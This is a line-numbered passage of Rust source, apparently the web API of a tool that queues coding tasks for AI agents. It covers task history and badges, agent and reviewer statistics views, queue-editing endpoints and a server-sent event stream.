6459 .iter()
6460 .any(|t| t.run == *run_id && t.pass_index == p.index)
6461 })
6462 .cloned()
6463 .collect()
6464 });
6465 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6466 let total = legacy_count.max(mine.len());
6467 let offset = total - mine.len();
6468 for k in 0..total {
6469 let position = task
6472 .runs
6473 .iter()
6474 .enumerate()
6475 .filter(|(_, r)| *r == run_id)
6476 .nth(k.min(legacy_count - 1))
6477 .unwrap()
6478 .0;
6479 slots.push((
6480 run_id,
6481 state.clone(),
6482 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6483 position,
6484 ));
6485 }
6486 }
6487 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6488 slots.sort_by_key(|(_, state, pass, _)| {
6489 pass.as_ref()
6490 .map(|p| p.started_at)
6491 .or_else(|| state.as_ref().map(|s| s.created_at))
6492 .map_or((true, task.created_at), |at| (false, at))
6493 });
6494 } else {
6495 slots.sort_by_key(|(_, _, _, position)| *position);
6496 }
6497 let mut history = Vec::with_capacity(slots.len());
6498 let mut seen: Vec<&str> = Vec::new();
6499 let mut prior: Option<(&str, RunStatus)> = None;
6500 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6501 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6502 let resumed = k > 0;
6503 seen.push(run_id);
6504 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6505 let pass = pass.as_ref();
6506 let settled = pass.and_then(|p| {
6507 task.passes
6508 .iter()
6509 .find(|t| t.run == **run_id && t.pass_index == p.index)
6510 });
6511 history.push(task_run_view(
6512 run_id,
6513 state.as_ref(),
6514 RunSlot {
6515 n: i + 1,
6516 resumed,
6517 resumed_later: slots[i + 1..]
6518 .iter()
6519 .position(|(id, _, _, _)| id == run_id)
6520 .map(|off| i + off + 2),
6521 prior,
6522 last: i + 1 == slots.len(),
6523 pass,
6524 settled,
6525 pass_n: k + 1,
6526 passes_of_run: total,
6527 },
6528 task,
6529 ));
6530 if let Some(s) = &state {
6531 prior = Some((run::short_of(run_id), s.status));
6532 }
6533 }
6534 history
6535}
6536
6537fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6540 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6541 return;
6542 }
6543 let (_, claimed, _) = run_row_inputs(ui);
6544 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6545 for h in history
6546 .iter_mut()
6547 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6548 {
6549 let Ok(state) = read_run(&ui.runs, &h.id) else {
6550 continue;
6551 };
6552 if state.status.done() {
6553 continue;
6554 }
6555 let live = state.liveness_with(
6556 claimed.contains(&h.id),
6557 |p| probe.borrow_mut().status(p),
6558 |p| probe.borrow_mut().started_at(p),
6559 );
6560 let waiting = !ui.questions.open_for(&h.id).is_empty();
6561 let display = run_display_status(&state, waiting, live);
6562 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6563 if matches!(word.as_str(), "stale" | "superseded")
6564 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6565 {
6566 h.badge = Some(word);
6567 }
6568 }
6569}
6570
6571async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6572 blocking(move || {
6573 let id = resolve_task(&ui.queue, &id)?;
6574 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6575 })
6576 .await
6577}
6578
6579async fn task_detail(
6580 State(ui): State<Arc<Ui>>,
6581 Path(id): Path<String>,
6582) -> ApiResult<Json<TaskDetailView>> {
6583 blocking(move || {
6584 let id = resolve_task(&ui.queue, &id)?;
6585 let task = ui
6586 .queue
6587 .get(&id)
6588 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6589 let inv = if task.status == TaskStatus::Blocked {
6590 Some(crate::blockers::Inventory::load_for(
6591 &ui.queue,
6592 &ui.questions,
6593 &task,
6594 ))
6595 } else {
6596 None
6597 };
6598 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6599 mark_badges(&ui, &task, &mut history);
6600 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6601 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6602 let origin = task.followup.as_ref().map(|fu| {
6603 followup_origin(
6604 fu,
6605 |tid| ui.queue.get(tid).ok(),
6606 |rid| read_run(&ui.runs, rid).ok(),
6607 )
6608 });
6609 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6610 let task_view = match inv.as_ref() {
6611 Some(inv) => TaskView::with_inventory(task, inv),
6612 None => TaskView::from(task),
6613 };
6614 Ok(Json(TaskDetailView {
6615 max_attempts,
6616 flow,
6617 followup_origin: origin,
6618 passes_total: history.len(),
6619 runs_distinct: distinct_runs(&task_view.task.runs),
6620 history,
6621 runs_unreadable,
6622 attempts_note: ATTEMPTS_NOTE,
6623 task: task_view,
6624 }))
6625 })
6626 .await
6627}
6628
6629#[derive(Debug, Serialize)]
6633struct RateView {
6634 pct: f64,
6635 denominator: usize,
6636}
6637
6638impl RateView {
6639 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6640 (denominator > 0).then(|| Self {
6641 pct: 100.0 * numerator as f64 / denominator as f64,
6642 denominator,
6643 })
6644 }
6645}
6646
6647#[derive(Debug, Serialize)]
6652struct StatsTotalsView {
6653 runs: usize,
6654 merged: usize,
6655 ready: usize,
6656 blocked: usize,
6657 failed: usize,
6658 stalled: usize,
6659 verified_noop: usize,
6660 superseded: usize,
6661 in_progress: usize,
6662 completion_rate: Option<RateView>,
6663 tallied: usize,
6664 split: usize,
6665 split_rate: Option<RateView>,
6666 deliberated: usize,
6667 minds_changed: usize,
6668 converged: usize,
6669 review_rounds: usize,
6670}
6671
6672impl From<&stats::Totals> for StatsTotalsView {
6673 fn from(t: &stats::Totals) -> Self {
6674 Self {
6675 runs: t.runs,
6676 merged: t.merged,
6677 ready: t.ready,
6678 blocked: t.blocked,
6679 failed: t.failed,
6680 stalled: t.stalled,
6681 verified_noop: t.verified_noop,
6682 superseded: t.superseded,
6683 in_progress: t.in_progress,
6684 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6685 tallied: t.tallied,
6686 split: t.split,
6687 split_rate: RateView::of(t.split, t.tallied),
6688 deliberated: t.deliberated,
6689 minds_changed: t.minds_changed,
6690 converged: t.converged,
6691 review_rounds: t.review_rounds,
6692 }
6693 }
6694}
6695
6696#[derive(Debug, Serialize)]
6698struct AgentStatsView {
6699 agent: String,
6700 entered: usize,
6701 wins: usize,
6702 empty: usize,
6703 win_rate: Option<RateView>,
6704 competitive_entered: usize,
6705 competitive_wins: usize,
6706 competitive_win_rate: Option<RateView>,
6707 solo_entered: usize,
6708 solo_adopted: usize,
6709 solo_adoption_rate: Option<RateView>,
6710}
6711
6712impl From<&stats::AgentStats> for AgentStatsView {
6713 fn from(a: &stats::AgentStats) -> Self {
6714 Self {
6715 agent: a.agent.clone(),
6716 entered: a.entered,
6717 wins: a.wins,
6718 empty: a.empty,
6719 win_rate: RateView::of(a.wins, a.entered),
6720 competitive_entered: a.competitive_entered,
6721 competitive_wins: a.competitive_wins,
6722 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6723 solo_entered: a.solo_entered,
6724 solo_adopted: a.solo_adopted,
6725 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6726 }
6727 }
6728}
6729
6730#[derive(Debug, Serialize)]
6734struct ReviewerStatsView {
6735 agent: String,
6736 rounds: usize,
6737 seated: usize,
6738 submitted: usize,
6739 adopted: usize,
6740 unique: usize,
6741 timeouts: usize,
6742 adopted_per_round: Option<f64>,
6743 precision: Option<RateView>,
6744 unique_rate: Option<RateView>,
6745 timeout_rate: Option<RateView>,
6746}
6747
6748impl From<&stats::ReviewerStats> for ReviewerStatsView {
6749 fn from(r: &stats::ReviewerStats) -> Self {
6750 Self {
6751 agent: r.agent.clone(),
6752 rounds: r.rounds,
6753 seated: r.seated,
6754 submitted: r.submitted,
6755 adopted: r.adopted,
6756 unique: r.unique,
6757 timeouts: r.timeouts,
6758 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6759 precision: RateView::of(r.adopted, r.submitted),
6760 unique_rate: RateView::of(r.unique, r.submitted),
6761 timeout_rate: RateView::of(r.timeouts, r.seated),
6762 }
6763 }
6764}
6765
6766#[derive(Debug, Serialize)]
6772struct AdvisorStatsView {
6773 agent: String,
6774 seated: usize,
6775 proposed: usize,
6776 absent: usize,
6777 faint: usize,
6778 strong: usize,
6779 reflection_rate: Option<RateView>,
6780}
6781
6782impl From<&stats::AdvisorStats> for AdvisorStatsView {
6783 fn from(a: &stats::AdvisorStats) -> Self {
6784 Self {
6785 agent: a.agent.clone(),
6786 seated: a.seated,
6787 proposed: a.proposed,
6788 absent: a.absent,
6789 faint: a.faint,
6790 strong: a.strong,
6791 reflection_rate: RateView::of(a.strong, a.proposed),
6792 }
6793 }
6794}
6795
6796#[derive(Debug, Serialize)]
6798struct E2eStatsView {
6799 rounds: usize,
6800 failures: usize,
6801 sole_detections: usize,
6802 deferred: usize,
6803 sole_rate: Option<RateView>,
6804}
6805
6806impl From<&stats::E2eStats> for E2eStatsView {
6807 fn from(e: &stats::E2eStats) -> Self {
6808 Self {
6809 rounds: e.rounds,
6810 failures: e.failures,
6811 sole_detections: e.sole_detections,
6812 deferred: e.deferred,
6813 sole_rate: RateView::of(e.sole_detections, e.failures),
6814 }
6815 }
6816}
6817
6818#[derive(Debug, Serialize)]
6826struct ReleaseBumpStatsView {
6827 merged: usize,
6828 recorded: usize,
6829 pr_opened: usize,
6830 automerge_enabled: usize,
6831 merged_directly: usize,
6832 needs_attention: usize,
6833 clean: usize,
6834 coverage_rate: Option<RateView>,
6835 automerge_rate: Option<RateView>,
6836 attention_rate: Option<RateView>,
6837}
6838
6839impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6840 fn from(b: &stats::ReleaseBumpStats) -> Self {
6841 Self {
6842 merged: b.merged,
6843 recorded: b.recorded,
6844 pr_opened: b.pr_opened,
6845 automerge_enabled: b.automerge_enabled,
6846 merged_directly: b.merged_directly,
6847 needs_attention: b.needs_attention,
6848 clean: b.clean(),
6849 coverage_rate: RateView::of(b.recorded, b.merged),
6850 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6851 attention_rate: RateView::of(b.needs_attention, b.recorded),
6852 }
6853 }
6854}
6855
6856#[derive(Debug, Serialize)]
6858struct TaskCountsView {
6859 queued: usize,
6860 running: usize,
6861 done: usize,
6862 failed: usize,
6863 held: usize,
6864 blocked: usize,
6865 parked: usize,
6866}
6867
6868impl From<crate::queue::TaskCounts> for TaskCountsView {
6869 fn from(c: crate::queue::TaskCounts) -> Self {
6870 Self {
6871 queued: c.queued,
6872 running: c.running,
6873 done: c.done,
6874 failed: c.failed,
6875 held: c.held,
6876 blocked: c.blocked,
6877 parked: c.parked,
6878 }
6879 }
6880}
6881
6882#[derive(Debug, Serialize)]
6888struct RepoSummaryView {
6889 repo: String,
6892 name: String,
6894 runs: usize,
6895 completion_rate: Option<RateView>,
6896}
6897
6898impl From<&stats::RepoStats> for RepoSummaryView {
6899 fn from(r: &stats::RepoStats) -> Self {
6900 let t = &r.stats.totals;
6901 Self {
6902 repo: r.repo.to_string_lossy().into_owned(),
6903 name: r.name.clone(),
6904 runs: t.runs,
6905 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6906 }
6907 }
6908}
6909
6910#[derive(Debug, Serialize)]
6916struct StatsView {
6917 totals: StatsTotalsView,
6918 agents: Vec<AgentStatsView>,
6920 reviewers: Vec<ReviewerStatsView>,
6922 advisors: Vec<AdvisorStatsView>,
6924 e2e: E2eStatsView,
6925 release_bumps: ReleaseBumpStatsView,
6926 queue: Option<TaskCountsView>,
6927 runs_unreadable: usize,
6937 repos: Vec<RepoSummaryView>,
6941 daily: Vec<DailyStatsView>,
6946 repo: Option<String>,
6950 retired_hidden: Vec<String>,
6954}
6955
6956#[derive(Debug, Serialize)]
6958struct DailyStatsView {
6959 date: String,
6961 runs: usize,
6962 merged: usize,
6963 ready: usize,
6964 other: usize,
6965 completion_rate: Option<RateView>,
6967}
6968
6969impl From<&stats::DayBucket> for DailyStatsView {
6970 fn from(b: &stats::DayBucket) -> Self {
6971 Self {
6972 date: b.date.to_string(),
6973 runs: b.runs,
6974 merged: b.merged,
6975 ready: b.ready,
6976 other: b.other,
6977 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6978 }
6979 }
6980}
6981
6982const STATS_DAILY_DAYS: usize = 30;
6984
6985#[derive(Debug, Default, Deserialize)]
6994#[serde(default)]
6995struct StatsQuery {
6996 repo: Option<String>,
6997 all: bool,
6999 runs_only: bool,
7001}
7002
7003async fn stats_get(
7010 State(ui): State<Arc<Ui>>,
7011 Query(q): Query<StatsQuery>,
7012) -> ApiResult<Json<StatsView>> {
7013 blocking(move || {
7014 let states: Vec<RunState> = run_ids(&ui.runs)
7015 .into_iter()
7016 .filter_map(|id| read_run(&ui.runs, &id).ok())
7017 .collect();
7018 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7019 .iter()
7020 .map(RepoSummaryView::from)
7021 .collect();
7022 let mut scoped: Vec<&RunState> = states.iter().collect();
7023 let mut collected = match &q.repo {
7024 Some(repo) => {
7025 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7026 if filtered.is_empty() {
7027 return Err(ApiError::not_found(format!(
7028 "no runs recorded against repo `{repo}`"
7029 )));
7030 }
7031 scoped = filtered.clone();
7032 stats::collect_refs(filtered)
7033 }
7034 None => stats::collect(&states),
7035 };
7036 if !q.all {
7037 let repo = q
7038 .repo
7039 .as_deref()
7040 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7041 stats::retain_current_roster(&mut collected, &repo);
7042 }
7043 let daily = stats::daily(
7044 scoped,
7045 jiff::Zoned::now().date(),
7046 &jiff::tz::TimeZone::system(),
7047 STATS_DAILY_DAYS,
7048 );
7049 let queue_counts = (!q.runs_only)
7050 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7051 Ok(Json(StatsView {
7052 totals: StatsTotalsView::from(&collected.totals),
7053 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7054 reviewers: collected
7055 .reviewers
7056 .iter()
7057 .map(ReviewerStatsView::from)
7058 .collect(),
7059 advisors: collected
7060 .advisors
7061 .iter()
7062 .map(AdvisorStatsView::from)
7063 .collect(),
7064 e2e: E2eStatsView::from(&collected.e2e),
7065 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7066 queue: queue_counts,
7067 runs_unreadable: runs_unreadable(&ui.runs),
7068 repos,
7069 daily: daily.iter().map(DailyStatsView::from).collect(),
7070 repo: q.repo.clone(),
7071 retired_hidden: collected.retired_hidden.clone(),
7072 }))
7073 })
7074 .await
7075}
7076
7077#[derive(Debug, Default, Deserialize)]
7080#[serde(default, deny_unknown_fields)]
7081struct HoldBody {
7082 reason: Option<String>,
7083}
7084
7085async fn queue_hold(
7086 State(ui): State<Arc<Ui>>,
7087 Path(id): Path<String>,
7088 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7089) -> ApiResult<Json<TaskView>> {
7090 let body = match body {
7094 Ok(Json(body)) => body,
7095 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7096 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7097 };
7098 let reason = body.reason.filter(|r| !r.trim().is_empty());
7099 mutate(ui, id, move |t| {
7100 t.hold_manual(reason.clone());
7101 Ok(())
7102 })
7103 .await
7104}
7105
7106async fn queue_release(
7107 State(ui): State<Arc<Ui>>,
7108 Path(id): Path<String>,
7109) -> ApiResult<Json<TaskView>> {
7110 mutate(ui, id, |t| {
7111 t.release_operator("web", None);
7112 Ok(())
7113 })
7114 .await
7115}
7116
7117#[derive(Debug, Deserialize)]
7118#[serde(deny_unknown_fields)]
7119struct AttemptLimitBody {
7120 attempt_limit: serde_json::Value,
7122}
7123
7124async fn queue_attempt_limit(
7125 State(ui): State<Arc<Ui>>,
7126 Path(id): Path<String>,
7127 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7128) -> ApiResult<Json<TaskView>> {
7129 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7130 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7131 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7132 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7133}
7134
7135#[derive(Debug, Deserialize)]
7136#[serde(deny_unknown_fields)]
7137struct ImplementersBody {
7138 implementers: u8,
7139}
7140
7141async fn queue_implementers(
7142 State(ui): State<Arc<Ui>>,
7143 Path(id): Path<String>,
7144 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7145) -> ApiResult<Json<TaskView>> {
7146 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7147 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7148}
7149
7150#[derive(Debug, Deserialize)]
7151#[serde(deny_unknown_fields)]
7152struct UrgentBody {
7153 urgent: bool,
7154}
7155
7156async fn queue_urgent(
7157 State(ui): State<Arc<Ui>>,
7158 Path(id): Path<String>,
7159 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7160) -> ApiResult<Json<TaskView>> {
7161 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7162 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7163}
7164
7165#[derive(Debug, Deserialize)]
7167#[serde(deny_unknown_fields)]
7168struct PriorityBody {
7169 priority: i32,
7170}
7171
7172async fn queue_priority(
7178 State(ui): State<Arc<Ui>>,
7179 Path(id): Path<String>,
7180 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7181) -> ApiResult<Json<TaskView>> {
7182 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7183 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7184}
7185
7186#[derive(Debug, Deserialize)]
7188#[serde(deny_unknown_fields)]
7189struct EditBody {
7190 title: String,
7191 instruction: String,
7192 #[serde(default)]
7195 force: bool,
7196}
7197
7198async fn queue_edit(
7202 State(ui): State<Arc<Ui>>,
7203 Path(id): Path<String>,
7204 body: std::result::Result<Json<EditBody>, JsonRejection>,
7205) -> ApiResult<Json<TaskView>> {
7206 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7207 let mut judged: Option<(String, PathBuf)> = None;
7211 if !body.force {
7212 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7213 let (id, text) = (id.clone(), body.instruction.clone());
7214 let (seen, hits) = blocking(move || {
7215 let id = resolve_task(&queue, &id)?;
7216 let t = queue.get(&id)?;
7217 if text == t.instruction {
7218 return Ok((None, Vec::new()));
7219 }
7220 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7221 Ok((Some((t.instruction, t.repo)), hits))
7222 })
7223 .await?;
7224 if let Some((_, repo)) = &seen {
7225 let cfg = crate::config::Config::discover(repo, None)
7226 .ok()
7227 .map(|(c, _)| c);
7228 let screened =
7229 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7230 .await
7231 .map_err(|dup| {
7232 ApiError::conflict(dup.render(
7233 "Nothing was saved. If it is not a duplicate, repeat the request \
7234 with \"force\": true.",
7235 ))
7236 })?;
7237 if let crate::dupes::Screened::Unjudged(why) = screened {
7238 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7239 }
7240 }
7241 judged = seen;
7242 }
7243 let force = body.force;
7244 mutate(ui, id, move |t| {
7245 if !force && body.instruction != t.instruction {
7246 match &judged {
7247 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7248 _ => {
7249 anyhow::bail!("the task changed while it was being checked; repeat the request")
7250 }
7251 }
7252 }
7253 t.edit(body.title.clone(), body.instruction.clone())
7254 })
7255 .await
7256}
7257
7258async fn queue_done(
7266 State(ui): State<Arc<Ui>>,
7267 Path(id): Path<String>,
7268) -> ApiResult<Json<TaskView>> {
7269 let home = ui.home.clone();
7270 mutate(ui, id, move |t| {
7271 t.succeed();
7272 crate::daemon::supersede_prior_runs(t, &home);
7280 Ok(())
7281 })
7282 .await
7283}
7284
7285async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7293 blocking(move || {
7294 let id = resolve_task(&ui.queue, &id)?;
7295 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7296 ui.queue
7297 .remove(&id, in_flight, &ui.questions)
7298 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7299 Ok(StatusCode::NO_CONTENT)
7300 })
7301 .await
7302}
7303
7304async fn mutate(
7313 ui: Arc<Ui>,
7314 id: String,
7315 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7316) -> ApiResult<Json<TaskView>> {
7317 blocking(move || {
7318 let id = resolve_task(&ui.queue, &id)?;
7319 let _claim = ui.queue.claim(&id).map_err(|e| {
7324 ApiError::conflict(format!(
7325 "{e:#} - a daemon is running this task, so it cannot be \
7326 changed from here yet; wait until it is released, then retry"
7327 ))
7328 })?;
7329 let mut task = ui.queue.get(&id)?;
7330 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7331 Ok(dup) => ApiError::conflict(dup.render(
7332 "Nothing was saved. If it is not a duplicate, repeat the request with \
7333 \"force\": true.",
7334 )),
7335 Err(e) => ApiError::bad_request_from(e),
7336 })?;
7337 ui.queue.put(&mut task)?;
7338 Ok(Json(TaskView::from(task)))
7339 })
7340 .await
7341}
7342
7343async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7348 ui.monitor.ensure_worker(&ui);
7349 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7350 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7351
7352 let state = Arc::clone(&ui);
7353 tokio::spawn(async move {
7354 let initial_revisions = {
7355 let guard = match state.monitor.latest.lock() {
7356 Ok(g) => g,
7357 Err(p) => p.into_inner(),
7358 };
7359 guard.as_ref().map(|(r, _)| *r)
7360 };
7361 if let Some(revisions) = initial_revisions {
7362 let initial_payload = serde_json::json!({
7363 "queue_rev": revisions.0,
7364 "runs_rev": revisions.1,
7365 "questions_rev": revisions.2,
7366 "talks_rev": revisions.3,
7367 "notifications_rev": revisions.4,
7368 "loop_rev": revisions.5,
7369 });
7370
7371 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7372 if tx.send(event).await.is_err() {
7373 return;
7374 }
7375 }
7376 }
7377
7378 loop {
7379 match tokio::select! {
7380 _ = tx.closed() => return,
7381 value = broadcast_rx.recv() => value,
7382 } {
7383 Ok(notif) => {
7384 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7385 else {
7386 break;
7387 };
7388 if tx.send(event).await.is_err() {
7389 break;
7390 }
7391 }
7392 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7393 let revs = {
7394 let guard = match state.monitor.latest.lock() {
7395 Ok(g) => g,
7396 Err(p) => p.into_inner(),
7397 };
7398 guard.as_ref().map(|(r, _)| *r)
7399 };
7400 if let Some(revs) = revs {
7401 let payload = serde_json::json!({
7402 "queue_rev": revs.0,
7403 "runs_rev": revs.1,
7404 "questions_rev": revs.2,
7405 "talks_rev": revs.3,
7406 "notifications_rev": revs.4,
7407 "loop_rev": revs.5,
7408 });
7409 if let Ok(event) = Event::default().event("change").json_data(payload) {
7410 if tx.send(event).await.is_err() {
7411 break;
7412 }
7413 }
7414 }
7415 }
7416 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7417 break;
7418 }
7419 }
7420 }
7421 });
7422
7423 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7424 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7425}
7426
7427fn run_ids(runs: &FsPath) -> Vec<String> {
7433 let mut ids: Vec<String> = std::fs::read_dir(runs)
7434 .into_iter()
7435 .flatten()
7436 .flatten()
7437 .filter(|e| e.path().join("run.json").is_file())
7438 .map(|e| e.file_name().to_string_lossy().into_owned())
7439 .collect();
7440 ids.sort_unstable_by(|a, b| b.cmp(a));
7442 ids
7443}
7444
7445fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7447 let path = runs.join(id).join("run.json");
7448 let body =
7449 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7450 let state: RunState =
7451 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7452 run::migrate_schema(state)
7457}
7458
7459#[must_use]
7467pub fn runs_unreadable(runs: &FsPath) -> usize {
7468 run_ids(runs)
7469 .into_iter()
7470 .filter(|id| read_run(runs, id).is_err())
7471 .count()
7472}
7473
7474fn plain_record_id(id: &str) -> bool {
7475 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7476}
7477
7478fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7480 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7481 return Ok(id.to_owned());
7482 }
7483 pick(run_ids(runs), id, "run")
7484}
7485
7486fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7488 if plain_record_id(id) && queue.path_of(id).is_file() {
7489 return Ok(id.to_owned());
7490 }
7491 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7492 pick(ids, id, "task")
7493}
7494
7495#[derive(Debug, Serialize)]
7506struct QuestionView {
7507 choice_effects: std::collections::BTreeMap<String, String>,
7508 record_revision: String,
7509 #[serde(flatten)]
7510 question: Question,
7511 detail_md: Vec<md::Node>,
7512 posting_view: Option<PostingView>,
7513 thread_bodies_md: Vec<Vec<md::Node>>,
7515 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7518 waiting_on_agent: bool,
7528 holder: Option<&'static str>,
7532 deputies_enabled: bool,
7536 deputy_exhausted: bool,
7539 text_delivery: crate::question_delivery::Availability,
7540 run_is_task: bool,
7543 origin_chat: Option<String>,
7546 origin_chat_closed: bool,
7548 can_consult_chat: bool,
7550}
7551
7552#[derive(Debug, Serialize)]
7553struct PostingView {
7554 before_md: Vec<md::Node>,
7555 after_md: Vec<md::Node>,
7556 fields: Vec<crate::github_text::ComparisonView>,
7557}
7558
7559fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7560 let comparison = question.posting_comparison.as_ref()?;
7561 if !comparison.matches_detail(&question.detail) {
7562 return None;
7563 }
7564 let mut ids = std::collections::BTreeSet::new();
7565 if comparison.fields.is_empty()
7566 || comparison
7567 .fields
7568 .iter()
7569 .flat_map(|f| &f.pairs)
7570 .any(|p| !ids.insert(p.id))
7571 || comparison
7572 .fields
7573 .iter()
7574 .flat_map(|f| &f.original_triggers)
7575 .any(|t| !ids.insert(t.id))
7576 {
7577 return None;
7578 }
7579 let fields = comparison
7580 .fields
7581 .iter()
7582 .map(|f| f.view(comparison.excerpt))
7583 .collect::<Option<Vec<_>>>()?;
7584 Some(PostingView {
7585 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7586 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7587 fields,
7588 })
7589}
7590
7591impl QuestionView {
7592 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7596 let base = md::ImageBase::QuestionPanel {
7597 id: question.id.clone(),
7598 };
7599 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7600 Self {
7601 choice_effects: question
7602 .choices
7603 .iter()
7604 .filter_map(|c| {
7605 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7606 })
7607 .collect(),
7608 record_revision: question_record_revision(&question),
7609 detail_md: md::to_nodes(&question.detail, &base),
7610 posting_view: posting_view(&question, &base),
7611 thread_bodies_md: question
7612 .thread
7613 .iter()
7614 .map(|t| md::to_nodes(&t.body, &base))
7615 .collect(),
7616 thread_notes_md: question
7617 .thread
7618 .iter()
7619 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7620 .collect(),
7621 deputy_exhausted: store.deputy_exhausted(&question),
7622 waiting_on_agent: question.waiting_on_agent(),
7623 holder,
7624 deputies_enabled: deputies_enabled(cfg, &question),
7625 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7626 run_is_task: question.run_names_task(),
7627 origin_chat: None,
7628 origin_chat_closed: false,
7629 can_consult_chat: false,
7630 question,
7631 }
7632 }
7633
7634 fn with_origin(
7636 mut self,
7637 tasks: &[crate::queue::Task],
7638 talks: &[Talk],
7639 watches: &[crate::release_watch::WatchState],
7640 ) -> Self {
7641 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7642 self.can_consult_chat = consult.is_some();
7643 let talk =
7644 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7645 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7646 self.origin_chat = talk.map(|t| t.id);
7647 self
7648 }
7649}
7650
7651fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7655 Config::discover(repo, None).ok().map(|(c, _)| c)
7656}
7657
7658fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7660 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7661}
7662
7663fn question_views(
7666 qs: Vec<Question>,
7667 store: &ask::Questions,
7668 load: impl FnOnce() -> Option<Config>,
7669) -> Vec<QuestionView> {
7670 if qs.is_empty() {
7671 return Vec::new();
7672 }
7673 let cfg = load();
7674 qs.into_iter()
